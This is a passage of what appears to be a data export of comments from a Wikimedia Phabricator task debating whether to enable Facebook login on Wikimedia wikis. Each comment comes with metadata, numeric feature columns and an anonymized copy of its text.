** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus"". Phabricator isn't the place to come to agreement about controversial issues in our community. Its the place to request stuff once agreement has been reached in other channels.
* Request to add facebook login into MediaWiki core
** This is an inappropriate feature for MediaWiki core, as MW is used in many contexts, and not everyone would want this. For that I would decline this bug as me simply saying no, it should be an extension instead.
* Request to develop an extension to do this
** There was one at URL  but its kind of unmaintained. If that's what people want out of this bug, the bug should be retitled.

[ I don't think this bug should remain open at lowest priority. Lowest priority implies it would be possible to make a patch that would be accepted, just that nobody cares enough to do it. I don't think that describes this bug]
"
725466,Enable Facebook login on Wikimedia wikis,"Lets take a step back here.

There are 3 ways of interpreting this bug:
* Request to enable facebook login on WMF wikis
** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus""
* Request to add facebook login into MediaWiki core
** This is an inappropriate feature for MediaWiki core, as MW is used in many contexts, and not everyone would want this. For that I would decline this bug as me simply saying no, it should be an extension instead.
* Request to develop an extension to do this
** There was one at https://www.mediawiki.org/wiki/Extension:Facebook  but its kind of unmaintained. If that's what people want out of this bug, the bug should be retitled.

[ I don't think this bug should remain open at lowest priority. Lowest priority implies it would be possible to make a patch that would be accepted, just that nobody cares enough to do it. I don't think that describes this bug]
",,,1473397422,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,1.3333333333333333,4.333333333333333,1.0,0.0,0.0,0.6666666666666666,2.0,1.0,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,4.666666666666667,10.333333333333334,0.6666666666666666,3.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,5.666666666666667,2.3333333333333335,2.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,10.333333333333334,2.6666666666666665,3.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,1.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,3.0,4.0,7.666666666666667,1.3333333333333333,1.0,8.333333333333334,0.0,0.0,0.0,0.0,7.333333333333333,0.3333333333333333,0.6666666666666666,0.0,4.0,10.333333333333334,2.0,0.0,0.6666666666666666,0.0,4.0,0.0,1.3333333333333333,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,3.7478632478632474,0.7136752136752137,"Lets take a step back here.

There are 3 ways of interpreting this bug:
* Request to enable facebook login on WMF wikis
** That is super politically contentious within our community. As a bare minimum you would need an RFC at meta to demonstrate community will to do this (or other community venues). If that's what people think this bug is about, then it should be declined as ""lacks consensus""
* Request to add facebook login into MediaWiki core
** This is an inappropriate feature for MediaWiki core, as MW is used in many contexts, and not everyone would want this. For that I would decline this bug as me simply saying no, it should be an extension instead.
* Request to develop an extension to do this
** There was one at URL  but its kind of unmaintained. If that's what people want out of this bug, the bug should be retitled.

[ I don't think this bug should remain open at lowest priority. Lowest priority implies it would be possible to make a patch that would be accepted, just that nobody cares enough to do it. I don't think that describes this bug]
"
725367,Enable Facebook login on Wikimedia wikis,"I respectfully note that allowing using my_email_address@example.com
to login too (which although makes perfect sense) does not bring us
anywhere closer to allowing the user to click on his friendly
familiar ""f"" logo, which is what I want. P.S., I don't subscribe to
those mailing lists.",,,1473381935,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,62,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,10.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,12.0,3.0,0.0,3.0,0.0,8.0,0.0,5.0,0.0,2.0,5.0,2.0,0.0,0.0,4.169491525423729,0.7796610169491526,"I respectfully note that allowing using my_email_address@example.com
to login too (which although makes perfect sense) does not bring us
anywhere closer to allowing the user to click on his friendly
familiar ""f"" logo, which is what I want. P.S., I don't subscribe to
those mailing lists."
725139,Enable Facebook login on Wikimedia wikis,Stop it and bring it to the wiki lists please. Thank you.,,,1473361818,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,Stop it and bring it to the wiki lists please. Thank you.
725121,Enable Facebook login on Wikimedia wikis,">>! In T61631#2619975, @Nemo_bis wrote:
> By RfC I assume you mean https://meta.wikimedia.org/wiki/RfC ? This is not a technical issue, but a ""political"" one.

Nah, I meant <https://www.mediawiki.org/wiki/Requests_for_comment> or #archcom-rfc. Here's an example task that's being used as a drafting space for an RFC (instead of using the wiki): T119043.

>>! In T61631#2619903, @Aklapper wrote:
> There are 20 people subscribed to this task. Given the topic feels RfC'ish and welcomes more input, wikitech-l@ sounds like an appropriate venue (with way more subscribed people) to bring this up.

Sure, you or hashar or anyone else are free to start a discussion on a mailing list if you think that would be helpful/beneficial.",,,1473360808,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,1.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,4.0,15.0,1.0,4.0,9.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,1.0,7.0,0.0,3.0,0.0,0.0,1.0,3.4324324324324325,0.7702702702702703,"QUOTE
QUOTE

Nah, I meant <URL or #archcom-rfc. Here's an example task that's being used as a drafting space for an RFC (instead of using the wiki): T119043.

QUOTE
QUOTE

Sure, you or hashar or anyone else are free to start a discussion on a mailing list if you think that would be helpful/beneficial."
725057,Enable Facebook login on Wikimedia wikis,"By RfC I assume you mean https://meta.wikimedia.org/wiki/RfC ? This is not a technical issue, but a ""political"" one.",,,1473357477,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,23.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,5.0,5.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0454545454545454,0.9090909090909091,"By RfC I assume you mean URL ? This is not a technical issue, but a ""political"" one."
725040,Enable Facebook login on Wikimedia wikis,"There are 20 people subscribed to this task. Given the topic feels RfC'ish and welcomes more input, wikitech-l@ sounds like an appropriate venue (with way more subscribed people) to bring this up.",,,1473357162,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,4.230769230769231,0.8461538461538461,"There are 20 people subscribed to this task. Given the topic feels RfC'ish and welcomes more input, wikitech-l@ sounds like an appropriate venue (with way more subscribed people) to bring this up."
724967,Enable Facebook login on Wikimedia wikis,"My guess is that we if implement {T30085}, this bug will become mostly moot. We'll end up with users authenticating using the same e-mail address and password on Wikipedia that they use on Facebook and with Gmail.",,,1473352024,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.933333333333333,0.8888888888888888,"My guess is that we if implement {T30085}, this bug will become mostly moot. We'll end up with users authenticating using the same e-mail address and password on Wikipedia that they use on Facebook and with Gmail."
724963,Enable Facebook login on Wikimedia wikis,">>! In T61631#1463207, @Bawolff wrote:
> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.

Facebook allegedly has over a billion users. It collects and stores an enormous amount of personal and private information about its users. Are you seriously suggesting that theoretical access to Wikipedia accounts would give Facebook ""a lot of power""? This argument is insane.",,,1473351901,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,15.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,11.0,8.0,2.0,4.0,0.0,6.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,4.679245283018868,0.8301886792452831,"QUOTE
QUOTE

Facebook allegedly has over a billion users. It collects and stores an enormous amount of personal and private information about its users. Are you seriously suggesting that theoretical access to Wikipedia accounts would give Facebook ""a lot of power""? This argument is insane."
724950,Enable Facebook login on Wikimedia wikis,">>! In T61631#2618407, @hashar wrote:
> @MZMcBride please keep this task closed.  If you really want to bring it up again please raise the subject on the mailling lists such as wikimedia-l or wikitech-l.

Can you explain how Phabricator is an inappropriate forum? We regularly use Phabricator to draft requests for comment and to discuss feature requests and bug reports. Why are you insisting on closing this task?",,,1473350806,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,17.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,0.0,5.0,0.0,0.0,7.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,4.634146341463414,0.8292682926829268,"QUOTE
QUOTE

Can you explain how Phabricator is an inappropriate forum? We regularly use Phabricator to draft requests for comment and to discuss feature requests and bug reports. Why are you insisting on closing this task?"
724702,Enable Facebook login on Wikimedia wikis,@MZMcBride please keep this task closed.  If you really want to bring it up again please raise the subject on the mailling lists such as wikimedia-l or wikitech-l.,,,1473322708,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.029411764705882,0.9117647058823529,SCREEN_NAME please keep this task closed.  If you really want to bring it up again please raise the subject on the mailling lists such as wikimedia-l or wikitech-l.
724613,Enable Facebook login on Wikimedia wikis,">>! In T61631#2054992, @hashar wrote:
> As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.

This argument is incoherent to me. MediaWiki wikis already ""leak the actions"" that a user is doing on a site. That's the whole point of having public logs and revision histories. If a user wants to give his or her information to Facebook or Google and then re-use that login, how is that a privacy concern? When you say ""leak the information people are using Wikipedia"", what does that mean specifically and why would it matter here?

> Adding support for different third parties authentication systems would lead to a few interesting problems:
> 
> * why limit to Google / Facebook?  Where do you draw a line

Over a billion users?

> * what happens when a third party disappear or is broken/unavailable

It depends on what type of authentication system we set up.

> * who is going to handle and maintained the related MediaWiki code

How is this an interesting problem? Maintenance cost is attached to every line of code and feature ever.

> I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l.  If this task get reopen I will just ask for technical means to enforce it being closed.

If you want to start a discussion on a mailing list, feel free. If you don't want to be subscribed to this task, you can unsubscribe yourself.

Before touching the status of this task again, you should read and respond to the many valid points raised here. Your replies at T61631#2057649 and T61631#2054992 do not do that.",,,1473302618,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,62,True,0.6666666666666666,0.0,0.0,0.6666666666666666,1.0,2.6666666666666665,1.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,5.0,9.666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,0.6666666666666666,0.6666666666666666,0.6666666666666666,3.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,13.0,1.0,2.3333333333333335,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.3333333333333335,9.666666666666666,3.3333333333333335,3.0,8.666666666666666,0.0,0.0,0.0,0.0,6.0,0.0,0.3333333333333333,0.0,5.0,9.666666666666666,2.0,1.3333333333333333,1.3333333333333333,0.0,5.0,0.0,2.0,3.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,3.9212962962962963,0.7335028690662493,"QUOTE
QUOTE

This argument is incoherent to me. MediaWiki wikis already ""leak the actions"" that a user is doing on a site. That's the whole point of having public logs and revision histories. If a user wants to give his or her information to Facebook or Google and then re-use that login, how is that a privacy concern? When you say ""leak the information people are using Wikipedia"", what does that mean specifically and why would it matter here?

QUOTE
QUOTE
QUOTE

Over a billion users?

QUOTE

It depends on what type of authentication system we set up.

QUOTE

How is this an interesting problem? Maintenance cost is attached to every line of code and feature ever.

QUOTE

If you want to start a discussion on a mailing list, feel free. If you don't want to be subscribed to this task, you can unsubscribe yourself.

Before touching the status of this task again, you should read and respond to the many valid points raised here. Your replies at T61631#2057649 and T61631#2054992 do not do that."
616731,Enable Facebook login on Wikimedia wikis,"@Peachey88 
> Don't be a dick much?

Yeah that looks like a great argument. Here is mine:

The MediaWiki Kabal SAYS NO
=====

Does that look like a stronger argument?


I am really just teasing you @Peachey88. Please keep this task closed. As I instructed, bring the subject to a mailing list for further discussion which is a much better way to argue for/against a feature proposal",,,1456266930,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,33,True,1.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,16.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,4.0,18.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,5.0,10.0,3.0,1.0,0.0,0.0,4.0,0.0,1.0,6.0,0.0,1.0,3.0,0.0,0.0,3.9240506329113924,0.7468354430379747,"SCREEN_NAME 
QUOTE

Yeah that looks like a great argument. Here is mine:

The MediaWiki Kabal SAYS NO
=====

Does that look like a stronger argument?


I am really just teasing youSCREEN_NAME. Please keep this task closed. As I instructed, bring the subject to a mailing list for further discussion which is a much better way to argue for/against a feature proposal"
616213,Enable Facebook login on Wikimedia wikis,"Please [[ https://www.mediawiki.org/wiki/Bug_management/Phabricator_etiquette | keep Phabricator a respectful place and stick to the Etiquette]].

@Peachey88: Could you bring up this topic on mailing lists for broader input, as proposed by Hashar?",,,1456230410,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,3.0,15.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,3.948717948717949,0.9487179487179487,"Please [[ URL | keep Phabricator a respectful place and stick to the Etiquette]].
SCREEN_NAME: Could you bring up this topic on mailing lists for broader input, as proposed by Hashar?"
616220,Enable Facebook login on Wikimedia wikis,">>! In T61631#2054992, @hashar wrote:
> As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.

That would be there choice to do that

> Adding support for different third parties authentication systems would lead to a few interesting problems:
> 
> * why limit to Google / Facebook?  Where do you draw a line

> * what happens when a third party disappear or is broken/unavailable
Then they are gone or unavailable. 

> * who is going to handle and maintained the related MediaWiki code

The same as every other code, Assuming we would focus on OAuth related projects.


> I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l. 

It has been opened since Jul 2015 (~7 months) and only declined twice previous to yours just then.

> If this task get reopen I will just ask for technical means to enforce it being closed.

Don't be a dick much?",,,1456230769,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,33,True,2.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,1.0,0.0,7.0,6.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,21.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,6.0,5.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6049382716049383,0.7160493827160493,"QUOTE
QUOTE

That would be there choice to do that

QUOTE
QUOTE
QUOTE

QUOTE
Then they are gone or unavailable. 

QUOTE

The same as every other code, Assuming we would focus on OAuth related projects.


QUOTE

It has been opened since Jul 2015 (~7 months) and only declined twice previous to yours just then.

QUOTE

Don't be a dick much?"
616201,Enable Facebook login on Wikimedia wikis,">>! In T61631#2054992, @hashar wrote:
> As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.

That would be there choice to do that

> Adding support for different third parties authentication systems would lead to a few interesting problems:
> 
> * why limit to Google / Facebook?  Where do you draw a line

> * what happens when a third party disappear or is broken/unavailable
Then they are gone or unavailable. 

> * who is going to handle and maintained the related MediaWiki code

The same as every other code, Assuming we would focus on OAuth related projects.


> I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l. 

It has been reopened since Jul 2015 (~7 months) and only declined twice previous to yours just then.

> If this task get reopen I will just ask for technical means to enforce it being closed.

Don't be a dick much?",,,1456229542,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,33,True,2.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,1.0,0.0,7.0,6.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,21.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,6.0,5.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6296296296296298,0.7160493827160493,"QUOTE
QUOTE

That would be there choice to do that

QUOTE
QUOTE
QUOTE

QUOTE
Then they are gone or unavailable. 

QUOTE

The same as every other code, Assuming we would focus on OAuth related projects.


QUOTE

It has been reopened since Jul 2015 (~7 months) and only declined twice previous to yours just then.

QUOTE

Don't be a dick much?"
616189,Enable Facebook login on Wikimedia wikis,"As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.

Adding support for different third parties authentication systems would lead to a few interesting problems:

* why limit to Google / Facebook?  Where do you draw a line
* what happens when a third party disappear or is broken/unavailable
* who is going to handle and maintained the related MediaWiki code

I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l.  If this task get reopen I will just ask for technical means to enforce it being closed.

Thank you",,,1456228897,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,33,True,1.0,0.0,0.0,1.0,0.0,7.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,6.5,9.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,8.5,2.0,1.5,1.0,1.5,0.0,0.0,0.0,0.5,0.0,1.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.5,1.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,4.5,8.0,2.5,3.0,7.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,6.0,9.0,3.5,0.5,0.0,0.0,6.0,0.0,3.0,2.5,0.0,3.5,0.0,0.0,0.0,4.034090909090909,0.7670454545454546,"As for the reasoning there are a few,  pointing people to their Facebook/Google accounts means eventually that will leak the information people are using Wikipedia and maybe even leak the actions they are doing on the site.  I dont think it is a good privacy wise.

Adding support for different third parties authentication systems would lead to a few interesting problems:

* why limit to Google / Facebook?  Where do you draw a line
* what happens when a third party disappear or is broken/unavailable
* who is going to handle and maintained the related MediaWiki code

I am declining this task again and please stop reopening it. If you really want to bring up the topic on table again please do so on mailing lists such as wikimedia-l or wikitech-l.  If this task get reopen I will just ask for technical means to enforce it being closed.

Thank you"
498104,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465448, @Petrb wrote:
> Because being logged in is better than being anon?

Not necessarily.

> 
> You don't disclose your IP address and you get your edits attributed to your account

I have yet to see scientific research demonstrating a large-scale harm of IP addresses exposure (if you find one, please please add to https://www.mediawiki.org/wiki/Requests_for_comment/Exposure_of_user_IP_addresses , I'm very interested); on the other hand, we know for sure that Facebook uses all sorts of private data for all sorts of evil things and they'd certainly welcome being sent precious profiling information on wiki interests of their users without even having to look for it.

I'd avoid the privacy arguments in this discussion, let's stick to the technical arguments which we have solid information about, like T61631#1465053. Is there an external authentication system/platform which guarantees perpetual respect of our commitment to free software?",,,1438074320,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,3,True,1.0,0.0,0.5,0.5,0.5,8.5,0.0,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.5,3.5,0.5,3.5,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,4.5,2.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,3.0,1.5,7.0,1.0,0.5,6.5,0.0,0.0,0.0,0.0,4.5,1.0,0.5,0.0,7.0,13.0,1.0,0.5,0.0,0.0,7.0,0.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,4.41579476861167,0.8158953722334004,"QUOTE
QUOTE

Not necessarily.

QUOTE
QUOTE

